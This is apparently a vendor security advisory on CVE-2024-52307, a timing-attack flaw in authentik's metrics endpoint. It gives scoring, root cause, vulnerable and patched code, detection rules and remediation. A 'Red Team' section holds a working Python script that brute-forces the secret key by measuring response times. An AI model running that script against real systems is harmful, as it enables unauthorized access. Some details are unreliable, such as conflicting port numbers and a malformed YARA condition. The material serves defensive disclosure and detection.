CVE-2024-52307

Executive Summary

CVE-2024-52307 is a medium-severity vulnerability in the open-source identity provider, authentik. The flaw resides in the /-/metrics/ endpoint, which uses a non-constant time comparison to validate the SECRET_KEY. This allows an attacker to brute-force the key by measuring response timing differences. Successful exploitation could lead to unauthorized access to Prometheus metrics, potentially exposing sensitive system information. The vulnerability is patched in versions 2024.8.5 and 2024.10.3. The primary mitigation is to block public access to the /-/metrics/ endpoint at the reverse proxy level.

Supply Chain & Package Security

This vulnerability affects the authentik identity provider, which is distributed as a Docker container and via Python packages. The supply chain risk is moderate, as the compromised component is a core authentication service. Users should verify the integrity of their authentik images and packages after patching.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) - Requires brute-forcing a secret key over the network.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) - Exposure of Prometheus metrics.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the confidentiality impact is high, the attack complexity is also high due to the need for a brute-force attack. The vulnerability is not directly exploitable for remote code execution.

Deep Dive & Mechanics

The vulnerability is a classic timing attack (CWE-208). The /-/metrics/ endpoint in authentik is used internally by the Go proxy to expose Prometheus metrics. It authenticates requests using a SECRET_KEY via a non-constant time comparison function. This means that the comparison returns as soon as a character mismatch is found, allowing an attacker to measure the response time and deduce the correct key character by character.

Root Cause: The use of a non-constant time string comparison (e.g., == in Python or strcmp in C) for validating the SECRET_KEY.

Attack Flow:

1. Attacker sends requests to the /-/metrics/ endpoint with a guessed SECRET_KEY.
2. By measuring the response time, the attacker can determine how many characters of the key are correct.
3. The attacker iteratively guesses each character, building the full key.
4. Once the key is obtained, the attacker can access the /-/metrics/ endpoint and retrieve Prometheus metrics, which may contain sensitive data.

Impact: Exposure of Prometheus metrics can leak information about the system's performance, resource usage, and potentially other internal state details.

Vulnerable vs. Patched Code

Vulnerable Code (Non-Constant Time Comparison):

# Vulnerable: Non-constant time comparison
def verify_secret_key(request_key, actual_key):
    return request_key == actual_key

Patched Code (Constant Time Comparison):

# Patched: Constant time comparison using hmac.compare_digest
import hmac
def verify_secret_key(request_key, actual_key):
    return hmac.compare_digest(request_key, actual_key)

The patched version uses hmac.compare_digest (or similar constant-time functions) to ensure that the comparison takes the same amount of time regardless of how many characters match.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable version of authentik (e.g., 2024.8.4) using Docker.
2. Expose the /-/metrics/ endpoint publicly (e.g., via port 9000).
3. Use a script to brute-force the SECRET_KEY by measuring response times.

Exploitation Script (Python):

import requests
import time

target_url = "http://target:9000/-/metrics/"
known_key = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789"

while len(known_key) < 32:  # Assuming 32-char key
    best_char = None
    best_time = 0
    for c in charset:
        test_key = known_key + c
        start = time.time()
        response = requests.get(target_url, headers={"Authorization": f"Bearer {test_key}"})
        elapsed = time.time() - start
        if elapsed > best_time:
            best_time = elapsed
            best_char = c
    known_key += best_char
    print(f"Key so far: {known_key}")

print(f"Found SECRET_KEY: {known_key}")

Note: This is a simplified example. Real-world exploitation may require more sophisticated timing analysis and noise reduction.

Blue Team

Detection:

• Monitor for repeated requests to /-/metrics/ with varying Authorization headers.
• Look for anomalous response times from the /-/metrics/ endpoint.
• Alert on failed authentication attempts to this endpoint.

Hunting:

• Search logs for GET /-/metrics/ requests with non-standard headers.
• Correlate with network traffic patterns indicating brute-force attempts.

Indicators of Compromise (IOCs)

• Network:
  • Repeated HTTP requests to /-/metrics/ with different Authorization headers.
  • Unusual response times (e.g., >100ms) for /-/metrics/ requests.
• Logs:
  • Failed authentication attempts to /-/metrics/ endpoint.
  • Log entries showing SECRET_KEY validation failures.
• System:
  • Unauthorized access to Prometheus metrics data.

Detection Engineering

YARA Rule

rule Detect_Authentik_Timing_Attack {
    meta:
        description = "Detects potential timing attack against authentik /-/metrics/ endpoint"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-52307"
    strings:
        $auth_header = "Authorization: Bearer" nocase
        $metrics_path = "/-/metrics/" nocase
    condition:
        # of ($auth_header) > 10 and # of ($metrics_path) > 10
}

Sigma Rule

title: Authentik Timing Attack Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential brute-force of SECRET_KEY via timing attack on /-/metrics/ endpoint
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52307
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/-/metrics/'
    condition: selection
falsepositives:
    - Legitimate monitoring tools
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52307 Authentik Timing Attack Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/-/metrics/"; http.header; content:"Authorization"; nocase; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade authentik to version 2024.8.5 or 2024.10.3.
2. Network Mitigation: Block public access to the /-/metrics/ endpoint at the reverse proxy or load balancer level. This endpoint is intended for internal use only.
3. Firewall Rules: Restrict access to port 9300 (Prometheus metrics) to only trusted monitoring systems.

Long-Term Measures:

• Implement constant-time comparison functions for all authentication mechanisms.
• Conduct regular security audits of authentication endpoints.
• Use a Web Application Firewall (WAF) to detect and block brute-force attempts.

Verification:

• After patching, verify that the /-/metrics/ endpoint is no longer accessible from external networks.
• Test that the constant-time comparison is in place by attempting a timing attack in a lab environment.

Valters IT
Securing Digital Frontiers